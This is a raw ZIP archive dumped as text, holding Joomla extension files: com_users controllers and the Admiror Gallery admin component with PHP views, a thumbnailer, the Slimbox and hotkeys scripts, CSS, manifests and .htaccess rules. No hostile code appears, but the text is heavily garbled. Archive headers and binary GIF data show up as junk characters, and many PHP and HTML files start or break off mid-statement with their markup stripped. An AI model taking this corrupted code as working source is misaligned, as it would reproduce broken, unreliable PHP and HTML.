PKs>\{{com_users/controllers/group.phpnuW+Aauthorise('core.admin', $this->option) && parent::allowSave($data, $key)); } /** * Overrides JControllerForm::allowEdit * * Checks that non-Super Admins are not editing Super Admins. * * @param array An array of input data. * @param string The name of the key for the primary key. * * @return boolean * @since 1.6 */ protected function allowEdit($data = array(), $key = 'id') { // Check if this group is a Super Admin if (JAccess::checkGroup($data[$key], 'core.admin')) { // If I'm not a Super Admin, then disallow the edit. if (!JFactory::getUser()->authorise('core.admin')) { return false; } } return parent::allowEdit($data, $key); } } PKs>\hN com_users/controller.phpnuW+AgetType(); $lName = JRequest::getCmd('layout', 'default'); if ($view = $this->getView($vName, $vFormat)) { // Do any specific processing by view. switch ($vName) { case 'registration': // If the user is already logged in, redirect to the profile page. $user = JFactory::getUser(); if ($user->get('guest') != 1) { // Redirect to profile page. $this->setRedirect(JRoute::_('index.php?option=com_users&view=profile', false)); return; } // Check if user registration is enabled if(JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0) { // Registration is disabled - Redirect to login page. $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); return; } // The user is a guest, load the registration model and show the registration page. $model = $this->getModel('Registration'); break; // Handle view specific models. case 'profile': // If the user is a guest, redirect to the login page. $user = JFactory::getUser(); if ($user->get('guest') == 1) { // Redirect to login page. $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); return; } $model = $this->getModel($vName); break; // Handle the default views. case 'login': $model = $this->getModel($vName); break; case 'reset': // If the user is already logged in, redirect to the profile page. $user = JFactory::getUser(); if ($user->get('guest') != 1) { // Redirect to profile page. $this->setRedirect(JRoute::_('index.php?option=com_users&view=profile', false)); return; } $model = $this->getModel($vName); break; case 'remind': // If the user is already logged in, redirect to the profile page. $user = JFactory::getUser(); if ($user->get('guest') != 1) { // Redirect to profile page. $this->setRedirect(JRoute::_('index.php?option=com_users&view=profile', false)); return; } $model = $this->getModel($vName); break; default: $model = $this->getModel('Login'); break; } // Push the model into the view (as default). $view->setModel($model, true); $view->setLayout($lName); // Push document object into the view. $view->assignRef('document', $document); $view->display(); } } } PKs>\BR>>$com_admirorgallery/slimbox/index.phpnuW+AaddScript(JURI::root().'administrator/components/com_admirorgallery/slimbox/js/slimbox2.js'); // Load CSS from current popup folder $doc->addStyleSheet(JURI::root().'administrator/components/com_admirorgallery/slimbox/css/slimbox2.css'); ?>PKs>\%com_admirorgallery/slimbox/index.htmlnuW+APKs>\)$com_admirorgallery/slimbox/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_admirorgallery/slimbox/css/index.htmlnuW+APKs>\3ybb,com_admirorgallery/slimbox/css/nextlabel.gifnuW+AGIF89a? zzzaaammmUUUևϾrrrIII333!,?  mdih,:p,tmx|pH,ȠF04r 04R@SNbƆ06ŀ P(2!ǹ(UOaZ?[ e) L&[bUOj$l@c=* rJU$ P'[YêŴKfhִ%ĨR_%I- H0D ;PKs>\)(com_admirorgallery/slimbox/css/.htaccessnuW+A Order allow,deny Deny from all PKs>\#cEr*com_admirorgallery/slimbox/css/loading.gifnuW+AGIF89a&&&似̪ظppphhhFFFHHH222PPP666VVV! ! NETSCAPE2.0,@pHL<á ĨtW`4S退-k\J%<f4c`𸜛 GyXg{wQoX  hDd aeTyvkyBVe vC pyC yFpQpGpPCpHpͫpIp pJe֝Xϧe p X%ia6Ž'_SjtEYB!  B !BvGur GA! !,XpH,(q9XP2TDK%fPGC P~@D@XĆ۩S~ S  S!u~! A;PKs>\Fss,com_admirorgallery/slimbox/css/prevlabel.gifnuW+AGIF89a? bbbmmmǺyyy廻WWW333!,? `&dihprmx|pH,ibpdӦ@i@0CS +&vOR =Dak# ~Xb%| BLbs# i&`LQ}eg|X""Nhr#\C&d"&x \j$j&~ȄrXtu`YJ"+*$H0 TPaÄ#JHS;PKs>\\-com_admirorgallery/slimbox/css/closelabel.gifnuW+AGIF87aBzzzYYY҃䌌PPPTTTVVVRRRXXXQQQSSSUUU{{{```WWWOOOLLLfff___KKKޡlllxxxyyydddZZZﳳ㇇iiiNNNsssMMMggg|||ccc߹pppeeevvvmmmnnnooo,B/2X]$(Y';8*'G × ?,T!'M  ̕   7냣&HO\^霾+com_admirorgallery/slimbox/css/slimbox2.cssnuW+A#lbOverlay { position:fixed; z-index:9999; left:0; top:0; width:100%; height:100%; background-color:#000; cursor:pointer; } #lbCenter,#lbBottomContainer { position:absolute; z-index:9999; overflow:hidden; background-color:#fff; } .lbLoading { background:#fff url(loading.gif) no-repeat center; } #lbImage { position:absolute; left:0; top:0; border:10px solid #fff; background-repeat:no-repeat; } #lbPrevLink,#lbNextLink { display:block; position:absolute; top:0; width:50%; outline:none; } #lbPrevLink { left:0; } #lbPrevLink:hover { background:transparent url(prevlabel.gif) no-repeat 0 15%; } #lbNextLink { right:0; } #lbNextLink:hover { background:transparent url(nextlabel.gif) no-repeat 100% 15%; } #lbBottom { font-family:Verdana, Arial, Geneva, Helvetica, sans-serif; font-size:10px; color:#666; line-height:1.4em; text-align:left; border:10px solid #fff; border-top-style:none; } #lbCloseLink { display:block; float:right; width:66px; height:22px; background:transparent url(closelabel.gif) no-repeat center; outline:none; margin:5px 0; } #lbCaption,#lbNumber { margin-right:71px; } #lbCaption { font-weight:700; }PKs>\(com_admirorgallery/slimbox/js/index.htmlnuW+APKs>\!>C22)com_admirorgallery/slimbox/js/slimbox2.jsnuW+A/* Slimbox v2.04 - The ultimate lightweight Lightbox clone for AG_jQuery (c) 2007-2010 Christophe Beyls MIT-style license. */ (function(w){var E=w(window),u,f,F=-1,n,x,D,v,y,L,r,m=!window.XMLHttpRequest,s=[],l=document.documentElement,k={},t=new Image(),J=new Image(),H,a,g,p,I,d,G,c,A,K;w(function(){w("body").append(w([H=w('
    ')[0],a=w('
    ')[0],G=w('
    ')[0]]).css("display","none"));g=w('
    ').appendTo(a).append(p=w('
    ').append([I=w('').click(B)[0],d=w('').click(e)[0]])[0])[0];c=w('
    ').appendTo(G).append([w('').add(H).click(C)[0],A=w('
    ')[0],K=w('
    ')[0],w('
    ')[0]])[0]});w.slimbox=function(O,N,M){u=w.extend({loop:false,overlayOpacity:0.8,overlayFadeDuration:400,resizeDuration:400,resizeEasing:"swing",initialWidth:250,initialHeight:250,imageFadeDuration:400,captionAnimationDuration:400,counterText:"Image {x} of {y}",closeKeys:[27,88,67],previousKeys:[37,80],nextKeys:[39,78]},M);if(typeof O=="string"){O=[[O,N]];N=0}y=E.scrollTop()+(E.height()/2);L=u.initialWidth;r=u.initialHeight;w(a).css({top:Math.max(0,y-(r/2)),width:L,height:r,marginLeft:-L/2}).show();v=m||(H.currentStyle&&(H.currentStyle.position!="fixed"));if(v){H.style.position="absolute"}w(H).css("opacity",u.overlayOpacity).fadeIn(u.overlayFadeDuration);z();j(1);f=O;u.loop=u.loop&&(f.length>1);return b(N)};w.fn.slimbox=function(M,P,O){P=P||function(Q){return[Q.href,Q.title]};O=O||function(){return true};var N=this;return N.unbind("click").click(function(){var S=this,U=0,T,Q=0,R;T=w.grep(N,function(W,V){return O.call(S,W,V)});for(R=T.length;Q=0)?C():(M(N,u.nextKeys)>=0)?e():(M(N,u.previousKeys)>=0)?B():false}function B(){return b(x)}function e(){return b(D)}function b(M){if(M>=0){F=M;n=f[F][0];x=(F||(u.loop?f.length:0))-1;D=((F+1)%f.length)||(u.loop?0:-1);q();a.className="lbLoading";k=new Image();k.onload=i;k.src=n}return false}function i(){a.className="";w(g).css({backgroundImage:"url("+n+")",visibility:"hidden",display:""});w(p).width(k.width);w([p,I,d]).height(k.height);w(A).html(f[F][1]||"");w(K).html((((f.length>1)&&u.counterText)||"").replace(/{x}/,F+1).replace(/{y}/,f.length));if(x>=0){t.src=f[x][0]}if(D>=0){J.src=f[D][0]}L=g.offsetWidth;r=g.offsetHeight;var M=Math.max(0,y-(r/2));if(a.offsetHeight!=r){w(a).animate({height:r,top:M},u.resizeDuration,u.resizeEasing)}if(a.offsetWidth!=L){w(a).animate({width:L,marginLeft:-L/2},u.resizeDuration,u.resizeEasing)}w(a).queue(function(){w(G).css({width:L,top:M+r,marginLeft:-L/2,visibility:"hidden",display:""});w(g).css({display:"none",visibility:"",opacity:""}).fadeIn(u.imageFadeDuration,h)})}function h(){if(x>=0){w(I).show()}if(D>=0){w(d).show()}w(c).css("marginTop",-c.offsetHeight).animate({marginTop:0},u.captionAnimationDuration);G.style.visibility=""}function q(){k.onload=null;k.src=t.src=J.src=n;w([a,g,c]).stop(true);w([I,d,g,G]).hide()}function C(){if(F>=0){q();F=x=D=-1;w(a).hide();w(H).stop().fadeOut(u.overlayFadeDuration,j)}return false}})(AG_jQuery); // AUTOLOAD CODE BLOCK (MAY BE CHANGED OR REMOVED) if (!/android|iphone|ipod|series60|symbian|windows ce|blackberry/i.test(navigator.userAgent)) { AG_jQuery(function($) { $("a[rel^='lightbox']").slimbox({/* Put custom options here */}, null, function(el) { return (this == el) || ((this.rel.length > 8) && (this.rel == el.rel)); }); }); }PKs>\)'com_admirorgallery/slimbox/js/.htaccessnuW+A Order allow,deny Deny from all PKs>\NXcom_admirorgallery/config.xmlnuW+A
    PKs>\)$com_admirorgallery/scripts/.htaccessnuW+A Order allow,deny Deny from all PKs>\hx*com_admirorgallery/scripts/thumbnailer.phpnuW+A 200){ $dst_w = 200; // KEEP HEIGHT, CROP WIDTH $src_w = $src_h*(200/$dst_h); $src_x = floor(($src_width-$src_w)/2); } @$dst_img = imagecreatetruecolor($dst_w, $dst_h); //PNG THUMBS WITH ALPHA PATCH if (preg_match("/png/i", $original_strtolower)) { // Turn off alpha blending and set alpha flag @imagealphablending($dst_img, false); @imagesavealpha($dst_img, true); } @imagecopyresampled($dst_img, $src_img, 0, 0, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h); if (preg_match("/jpg|jpeg/i", $original_strtolower)) { @imagejpeg($dst_img); } else if (preg_match("/png/i", $original_strtolower)) { @imagepng($dst_img); } else if (preg_match("/gif/i", $original_strtolower)) { @imagegif($dst_img); } @imagedestroy($dst_img); @imagedestroy($src_img); ?>PKs>\-6com_admirorgallery/scripts/jquery.hotkeys-0.7.9.min.jsnuW+A(function(AG_jQuery){AG_jQuery.fn.__bind__=AG_jQuery.fn.bind;AG_jQuery.fn.__unbind__=AG_jQuery.fn.unbind;AG_jQuery.fn.__find__=AG_jQuery.fn.find;var hotkeys={version:'0.7.9',override:/keypress|keydown|keyup/g,triggersMap:{},specialKeys:{27:'esc',9:'tab',32:'space',13:'return',8:'backspace',145:'scroll',20:'capslock',144:'numlock',19:'pause',45:'insert',36:'home',46:'del',35:'end',33:'pageup',34:'pagedown',37:'left',38:'up',39:'right',40:'down',109:'-',112:'f1',113:'f2',114:'f3',115:'f4',116:'f5',117:'f6',118:'f7',119:'f8',120:'f9',121:'f10',122:'f11',123:'f12',191:'/'},shiftNums:{"`":"~","1":"!","2":"@","3":"#","4":"$","5":"%","6":"^","7":"&","8":"*","9":"(","0":")","-":"_","=":"+",";":":","'":"\"",",":"<",".":">","/":"?","\\":"|"},newTrigger:function(type,combi,callback){var result={};result[type]={};result[type][combi]={cb:callback,disableInInput:false};return result;}};hotkeys.specialKeys=AG_jQuery.extend(hotkeys.specialKeys,{96:'0',97:'1',98:'2',99:'3',100:'4',101:'5',102:'6',103:'7',104:'8',105:'9',106:'*',107:'+',109:'-',110:'.',111:'/'});AG_jQuery.fn.find=function(selector){this.query=selector;return AG_jQuery.fn.__find__.apply(this,arguments);};AG_jQuery.fn.unbind=function(type,combi,fn){if(AG_jQuery.isFunction(combi)){fn=combi;combi=null;} if(combi&&typeof combi==='string'){var selectorId=((this.prevObject&&this.prevObject.query)||(this[0].id&&this[0].id)||this[0]).toString();var hkTypes=type.split(' ');for(var x=0;x\#o,,%com_admirorgallery/scripts/index.htmlnuW+APKs>\)com_admirorgallery/com_admirorgallery.xmlnuW+A COM_ADMIRORGALLERY Nov 7, 2012 Kekeljevic, Vasiljevski, Jongen Igor.Kekeljevic@gmail.com http://www.admiror-design-studio.com This extension in released under the GNU/GPL License - http://www.gnu.org/copyleft/gpl.html GNU/GPL 4.5.0 4.5.0 4.5.0 COM_ADMIRORGALLERY_DESCRIPTION admirorgallery.scriptfile.php controllers elements helpers models views admirorgallery.php controller.php index.html language/en-GB/en-GB.com_admirorgallery.ini language/de-DE/de-DE.com_admirorgallery.ini COM_ADMIRORGALLERY COM_ADMIRORGALLERY_CONTROL_PANEL COM_ADMIRORGALLERY_TEMPLATES COM_ADMIRORGALLERY_POPUPS COM_ADMIRORGALLERY_IMAGE_MANAGER assets controllers helpers models scripts slimbox templates views admin.admirorgallery.php controller.php config.xml index.html en-GB/en-GB.com_admirorgallery.ini en-GB/en-GB.com_admirorgallery.sys.ini de-DE/de-DE.com_admirorgallery.ini de-DE/de-DE.com_admirorgallery.sys.ini admirorgallery admirorgallery.php admirorgallery.xml index.html en-GB/en-GB.plg_content_admirorgallery.ini en-GB/en-GB.plg_content_admirorgallery.sys.ini admirorbutton.php admirorbutton.xml index.html en-GB/en-GB.plg_editors-xtd_admirorbutton.ini en-GB/en-GB.plg_editors-xtd_admirorbutton.sys.ini PKs>\#o,,com_admirorgallery/index.htmlnuW+APKs>\ܓ?5com_admirorgallery/views/admirorgallery/view.html.phpnuW+Astate = $this->get('State'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); JToolBarHelper::title( JText::_( 'COM_ADMIRORGALLERY_CONTROL_PANEL'), 'controlpanel' ); $this->form = $this->get('Form'); parent::display($tpl); } } PKs>\)1com_admirorgallery/views/admirorgallery/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,7com_admirorgallery/views/admirorgallery/tmpl/index.htmlnuW+APKs>\³aa8com_admirorgallery/views/admirorgallery/tmpl/default.phpnuW+A
    isRTL()) ? $iconFloat = "right" : $iconFloat = "left"; echo ' '; } echo '
    '; quickiconButton('index.php?option=com_admirorgallery&view=resourcemanager&AG_resourceType=templates', 'icon-48-templates.png', JText::_('COM_ADMIRORGALLERY_TEMPLATES'), $AG_templateID); quickiconButton('index.php?option=com_admirorgallery&view=resourcemanager&AG_resourceType=popups', 'icon-48-popups.png', JText::_('COM_ADMIRORGALLERY_POPUPS'), $AG_templateID); quickiconButton('index.php?option=com_admirorgallery&view=imagemanager', 'icon-48-imagemanager.png', JText::_('COM_ADMIRORGALLERY_IMAGE_MANAGER'), $AG_templateID); echo '

    ' . "\n"; $db = JFactory::getDBO(); $query = "SELECT * FROM #__extensions WHERE (element = 'admirorgallery') AND (type = 'plugin')"; $db->setQuery($query); $row = $db->loadAssoc(); //print_r($paramsdata); $paramsdefs = JPATH_SITE . '/administrator/components/com_admirorgallery/config.xml'; //$paramsdefs = JPATH_SITE.'/plugins/content/admirorgallery/admirorgallery.xml'; $myparams = JForm::getInstance('AG_Settings', $paramsdefs); $values = array('params' => json_decode($row['params'])); $myparams->bind($values); $fieldSets = $myparams->getFieldsets(); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_PLUGINS_' . $name . '_FIELDSET_LABEL'; //echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : //echo '

    '.$this->escape(JText::_($fieldSet->description)).'

    '; endif; ?>
      getFieldset($name) as $field) : ?> hidden) : ?>
    • label; ?> input; ?>
    • input; ?>

    '; if (JFIle::exists(JPATH_COMPONENT_ADMINISTRATOR . '/com_admirorgallery.xml')) { $ag_admirorgallery_xml = JFactory::getXMLParser('simple'); $ag_admirorgallery_xml->loadFile(JPATH_COMPONENT_ADMINISTRATOR . '/com_admirorgallery.xml'); $ag_admirorgallery_version_component = $ag_admirorgallery_xml->document->version[0]->data(); $ag_admirorgallery_version_plugin = $ag_admirorgallery_xml->document->plugin_version[0]->data(); $ag_admirorgallery_version_button = $ag_admirorgallery_xml->document->button_version[0]->data(); echo JText::_('AG_COMPONENT_VERSION') . ' ' . $ag_admirorgallery_version_component . "
    "; echo JText::_('AG_PLUGIN_VERSION') . ' ' . $ag_admirorgallery_version_plugin . "
    "; echo JText::_('AG_BUTTON_VERSION') . ' ' . $ag_admirorgallery_version_button . "
    "; } echo '
    ' . "\n"; echo JText::_('AG_ADMIRORGALLERY_DESCRIPTION'); echo '
    '; ?> PKs>\)6com_admirorgallery/views/admirorgallery/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,2com_admirorgallery/views/admirorgallery/index.htmlnuW+APKs>\#o,,3com_admirorgallery/views/resourcemanager/index.htmlnuW+APKs>\)2com_admirorgallery/views/resourcemanager/.htaccessnuW+A Order allow,deny Deny from all PKs>\666com_admirorgallery/views/resourcemanager/view.html.phpnuW+A\z69com_admirorgallery/views/resourcemanager/tmpl/default.phpnuW+AgetUserStateFromRequest( $option.'.limitstart', 'limitstart', 0, 'int' ); $limit = $mainframe->getUserStateFromRequest( 'global.list.limit', 'limit', $mainframe->getCfg('list_limit'), 'int' ); ?>
    AG_jQuery(function(){ AG_jQuery(".ag_title_link").click(function(e) { e.preventDefault(); if(AG_jQuery(this).closest("tr").find(\'input:checkbox\').attr("checked") == true){ AG_jQuery(this).closest("tr").find(\'input:checkbox\').attr("checked", false); }else{ AG_jQuery(this).closest("tr").find(\'input:checkbox\').attr("checked", true); } }); AG_jQuery("#checkAll").click(function(e) { var numOfRows = AG_jQuery(".adminlist tbody tr").length; if(AG_jQuery(this).attr("checked") == true){ for(i='.$limitstart.';i<('.$limitstart.'+numOfRows);i++){ AG_jQuery("#cb"+i).attr("checked", true); } }else{ for(i='.$limitstart.';i<('.$limitstart.'+numOfRows);i++){ AG_jQuery("#cb"+i).attr("checked", false); } } }); });//AG_jQuery '."\n"; // Read folder with gallery templates $ag_resourceManager_installed = JFolder::folders(JPATH_SITE.'/plugins/content/admirorgallery/admirorgallery/'.$AG_resourceType);// N U sort($ag_resourceManager_installed); // Rendering the form and table grid echo '
    '.JText::_('AG_SELECT_TEMPLATE_TO_INSTALL').' [ '.JText::_( 'AG_MAX' ).' '.(JComponentHelper::getParams('com_media')->get('upload_maxsize',0)).' MB ]: 

    '; echo ' '; $total = count($ag_resourceManager_installed); $pageNav = new JPagination( $total, $limitstart, $limit ); if($limit=="all"){$limit=$total;} if(!empty($ag_resourceManager_installed)){ foreach ($ag_resourceManager_installed as $ag_resourceManager_Key => $ag_resourceManager_Value) { if($ag_resourceManager_Key >= $limitstart && $ag_resourceManager_Key < ($limitstart+$limit)){ // TEMPLATE DETAILS PARSING $ag_resourceManager_id = $ag_resourceManager_Value; $ag_resourceManager_name = $ag_resourceManager_id; $ag_resourceManager_creationDate = JText::_( "AG_UNDATED"); $ag_resourceManager_author = JText::_( "AG_UNKNOWN_AUTHOR"); $ag_resourceManager_version = JText::_( "AG_UNKNOWN_VERSION"); $ag_resourceManager_description = JText::_( "AG_NO_DESCRITION"); if(JFIle::exists(JPATH_SITE.'/plugins/content/admirorgallery/admirorgallery/'.$AG_resourceType.'/'.$ag_resourceManager_id.'/details.xml')){// N U $ag_resourceManager_xml =JFactory::getXMLParser( 'simple' ); $ag_resourceManager_xml->loadFile( JPATH_SITE.'/plugins/content/admirorgallery/admirorgallery/'.$AG_resourceType.'/'.$ag_resourceManager_id.'/details.xml' );// N U $ag_resourceManager_name = $ag_resourceManager_xml->document->name[0]->data(); $ag_resourceManager_creationDate = $ag_resourceManager_xml->document->creationDate[0]->data(); $ag_resourceManager_author = $ag_resourceManager_xml->document->author[0]->data(); $ag_resourceManager_version = $ag_resourceManager_xml->document->version[0]->data(); $ag_resourceManager_description = $ag_resourceManager_xml->document->description[0]->data(); } echo ' '; } }//foreach ($ag_resourceManager_installed as $ag_resourceManager_Key => $ag_resourceManager_Value) }//if(!empty($ag_resourceManager_installed)) echo '
    #
    '.JText::_( "AG_TITLE").' '.JText::_( "AG_ID").' '.JText::_( "AG_DESCRIPTION").' '.JText::_( "AG_VERSION").' '.JText::_( "AG_DATE").' '.JText::_( "AG_AUTHOR").'
    '.($ag_resourceManager_Key+1).'. '; //if ($row->checked_out && $row->checked_out != $user->id) { //echo ' '; //} else { echo ' '; //} echo ' '.$ag_resourceManager_name.' '.$ag_resourceManager_id.' '.$ag_resourceManager_description.' '.$ag_resourceManager_version.' '.$ag_resourceManager_creationDate.' '.$ag_resourceManager_author.'
    '.$pageNav->getListFooter().'
    '; ?> PKs>\#o,,8com_admirorgallery/views/resourcemanager/tmpl/index.htmlnuW+APKs>\)7com_admirorgallery/views/resourcemanager/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\)"com_admirorgallery/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\).com_admirorgallery/views/galleryname/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,/com_admirorgallery/views/galleryname/index.htmlnuW+APKs>\7nn2com_admirorgallery/views/galleryname/view.html.phpnuW+A\)3com_admirorgallery/views/galleryname/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,4com_admirorgallery/views/galleryname/tmpl/index.htmlnuW+APKs>\ÛM 5com_admirorgallery/views/galleryname/tmpl/default.phpnuW+Aparams); $ag_rootFolder = $pluginParams->get('rootFolder', '/images/sampledata/'); $ag_init_itemURL = $ag_rootFolder; ?>


    $ag_folders_value) { $ag_folderName = substr($ag_folders_value['relname'], $ag_init_itemURL_strlen); echo ' ' . $ag_folderName . '
    '; } } ?>

    PKs>\#o,,#com_admirorgallery/views/index.htmlnuW+APKs>\)4com_admirorgallery/views/imagemanager/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,5com_admirorgallery/views/imagemanager/tmpl/index.htmlnuW+APKs>\:V==6com_admirorgallery/views/imagemanager/tmpl/default.phpnuW+A PKs>\)/com_admirorgallery/views/imagemanager/.htaccessnuW+A Order allow,deny Deny from all PKs>\z  3com_admirorgallery/views/imagemanager/view.html.phpnuW+AgetAuthorisedGroups(); foreach ($userGroups as $group) { if(in_array($group, $validUsers)) { $grantAccess = true; break; } } if(!$grantAccess) { JResponse::setHeader('HTTP/1.0 403',true); JError::raiseWarning( 403, JText::_('JERROR_ALERTNOAUTHOR') ); return; } $mainframe = JFactory::getApplication(); $params = $mainframe->getParams(); $this->assign('galleryName', $params->get('galleryName')); parent::display($tpl); } function _renderBreadcrumb($AG_itemURL, $ag_rootFolder, $ag_folderName, $ag_fileName) { $ag_breadcrumb = ''; $ag_breadcrumb_link = ''; if ($ag_rootFolder != $AG_itemURL && !empty($AG_itemURL)) { $ag_breadcrumb.='' . substr($ag_rootFolder, 0, -1) . '/'; $ag_breadcrumb_link.=$ag_rootFolder; $ag_breadcrumb_cut = substr($ag_folderName, strlen($ag_rootFolder)); $ag_breadcrumb_cut_array = explode("/", $ag_breadcrumb_cut); if (!empty($ag_breadcrumb_cut_array[0])) { foreach ($ag_breadcrumb_cut_array as $cut_key => $cut_value) { $ag_breadcrumb_link.=$cut_value . '/'; $ag_breadcrumb.='' . $cut_value . '/'; } } $ag_breadcrumb.=$ag_fileName; } else { $ag_breadcrumb.=$ag_rootFolder; } return $ag_breadcrumb; } } PKs>\)7com_admirorgallery/views/imagemanager/scripts/.htaccessnuW+A Order allow,deny Deny from all PKs>\JyFFJcom_admirorgallery/views/imagemanager/scripts/imgManager-render-folder.phpnuW+AenqueueMessage(JText::_("AG_CANNOT_CREATE_FOLDER") . " " . $newFolderName, 'error'); } function ag_render_caption($ag_lang_name, $ag_lang_tag, $ag_lang_content) { return '
    ' . $ag_lang_name . ' / ' . $ag_lang_tag . '
    '; } $ag_preview_content = ''; $ag_preview_content.='
    ' . "\n"; $ag_preview_content.='

    ' . JText::_('AG_CURRENT_FOLDER') . '

    ' . $this->_renderBreadcrumb($ag_itemURL, $ag_starting_folder, $ag_folderName, $ag_fileName) . '

    ' . JText::_('AG_OPERATION_WITH_SELECTED_ITEMS') . '

     ' . JText::_('AG_UPLOAD_IMAGES_JPG_JPEG_GIF_PNG_OR_ZIP') . ' [ ' . JText::_('AG_MAX') . ' ' . (JComponentHelper::getParams('com_media')->get('upload_maxsize',0)).' MB ]: 

     ' . JText::_('AG_CREATE_FOLDERS') . '  ' . JText::_('AG_ADD') . '

    ' . JText::_('AG_EDIT_FOLDER_CAPTIONS') . '
    '; // RENDER FOLDERS // CREATED SORTED ARRAY OF FOLDERS $ag_files = JFolder::folders(JPATH_SITE . $ag_itemURL); if (!empty($ag_files)) { $ag_folders_priority = Array(); $ag_folders_noPriority = Array(); $ag_folders = Array(); foreach ($ag_files as $key => $value) { $ag_folderName = $ag_itemURL; $ag_fileName = basename($value); // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $ag_pathWithStripExt = JPATH_SITE . $ag_folderName . JFile::stripExt($ag_fileName); $ag_XML_path = $ag_pathWithStripExt . ".XML"; if (JFIle::exists($ag_pathWithStripExt . ".xml")) { $ag_XML_path = $ag_pathWithStripExt . ".xml"; } if (file_exists($ag_XML_path)) { $ag_XML_xml = JFactory::getXMLParser('simple'); $ag_XML_xml->loadFile($ag_XML_path); $ag_XML_priority = $ag_XML_xml->document->priority[0]->data(); } if (!empty($ag_XML_priority) && file_exists($ag_XML_path)) { $ag_folders_priority[$value] = $ag_XML_priority; // PRIORITIES IMAGES } else { $ag_folders_noPriority[] = $value; // NON PRIORITIES IMAGES } } } if (!empty($ag_folders_priority)) { asort($ag_folders_priority); foreach ($ag_folders_priority as $key => $value) { $ag_folders[] = $key; } } if (!empty($ag_folders_noPriority)) { natcasesort($ag_folders_noPriority); foreach ($ag_folders_noPriority as $key => $value) { $ag_folders[] = $value; } } if (!empty($ag_folders)) { foreach ($ag_folders as $key => $value) { $ag_hasXML = ""; $ag_hasThumb = ""; // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $ag_pathWithStripExt = JPATH_SITE . $ag_itemURL . JFile::stripExt(basename($value)); $ag_XML_path = $ag_pathWithStripExt . ".xml"; if (JFIle::exists($ag_pathWithStripExt . ".XML")) { $ag_XML_path = $ag_pathWithStripExt . ".XML"; } $ag_XML_visible = "AG_VISIBLE"; $ag_XML_priority = ""; if (file_exists($ag_XML_path)) { $ag_hasXML = ''; $ag_XML_xml = JFactory::getXMLParser('simple'); $ag_XML_xml = simplexml_load_file($ag_XML_path); if (isset($ag_XML_xml->priority)) { $ag_XML_priority = $ag_XML_xml->priority; } if (isset($ag_XML_xml->visible)) { if ((string) $ag_XML_xml->visible == "false") { $ag_XML_visible = "AG_HIDDEN"; } } } $ag_preview_content.='

    ' . JText::_($ag_XML_visible) . '

    ' . JText::_('AG_PRIORITY') . ': 
    '; } } // RENDER IMAGES // CREATED SORTED ARRAY OF IMAGES $ag_files = JFolder::files(JPATH_SITE . $ag_itemURL); $ag_ext_valid = array("jpg", "jpeg", "gif", "png"); // SET VALID IMAGE EXTENSION if (!empty($ag_files)) { $ag_images_priority = Array(); $ag_images_noPriority = Array(); $ag_images = Array(); foreach ($ag_files as $key => $value) { if (is_numeric(array_search(strtolower(JFile::getExt(basename($value))), $ag_ext_valid))) { $ag_folderName = $ag_itemURL; $ag_fileName = basename($value); // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $ag_pathWithStripExt = JPATH_SITE . $ag_folderName . JFile::stripExt($ag_fileName); $ag_XML_path = $ag_pathWithStripExt . ".XML"; if (JFIle::exists($ag_pathWithStripExt . ".xml")) { $ag_XML_path = $ag_pathWithStripExt . ".xml"; } if (file_exists($ag_XML_path)) { $ag_XML_xml = JFactory::getXMLParser('simple'); $ag_XML_xml->loadFile($ag_XML_path); $ag_XML_priority = $ag_XML_xml->document->priority[0]->data(); } if (!empty($ag_XML_priority) && file_exists($ag_XML_path)) { $ag_images_priority[$value] = $ag_XML_priority; // PRIORITIES IMAGES } else { $ag_images_noPriority[] = $value; // NON PRIORITIES IMAGES } } } } if (!empty($ag_images_priority)) { asort($ag_images_priority); foreach ($ag_images_priority as $key => $value) { $ag_images[] = $key; } } if (!empty($ag_images_noPriority)) { natcasesort($ag_images_noPriority); foreach ($ag_images_noPriority as $key => $value) { $ag_images[] = $value; } } if (!empty($ag_images)) { foreach ($ag_images as $key => $value) { $ag_hasXML = ""; $ag_hasThumb = ""; // Set Possible Description File Apsolute Path // Instant patch for upper and lower case... $ag_pathWithStripExt = JPATH_SITE . $ag_itemURL . JFile::stripExt(basename($value)); $ag_XML_path = $ag_pathWithStripExt . ".xml"; if (JFIle::exists($ag_pathWithStripExt . ".XML")) { $ag_XML_path = $ag_pathWithStripExt . ".XML"; } $ag_XML_visible = "AG_VISIBLE"; $ag_XML_priority = ""; if (file_exists($ag_XML_path)) { $ag_hasXML = ''; $ag_XML_xml = JFactory::getXMLParser('simple'); $ag_XML_xml = simplexml_load_file($ag_XML_path); if (isset($ag_XML_xml->priority)) { $ag_XML_priority = $ag_XML_xml->priority; } if (isset($ag_XML_xml->visible)) { if ((string) $ag_XML_xml->visible == "false") { $ag_XML_visible = "AG_HIDDEN"; } } } if (file_exists(JPATH_SITE . "/plugins/content/admirorgallery/admirorgallery/thumbs/" . basename($ag_folderName) . "/" . basename($value))) { $ag_hasThumb = ''; } agHelper::ag_createThumb(JPATH_SITE . $ag_itemURL . $value, $thumbsFolderPhysicalPath . DS . $value, 145, 80, "none"); $AG_thumb_checked = ""; if ($ag_XML_thumb == $value) { $AG_thumb_checked = " CHECKED"; } $ag_preview_content.='

    ' . JText::_($ag_XML_visible) . '

    ' . JText::_('AG_PRIORITY') . ': 
     ' . JText::_('AG_FOLDER_THUMB') . '
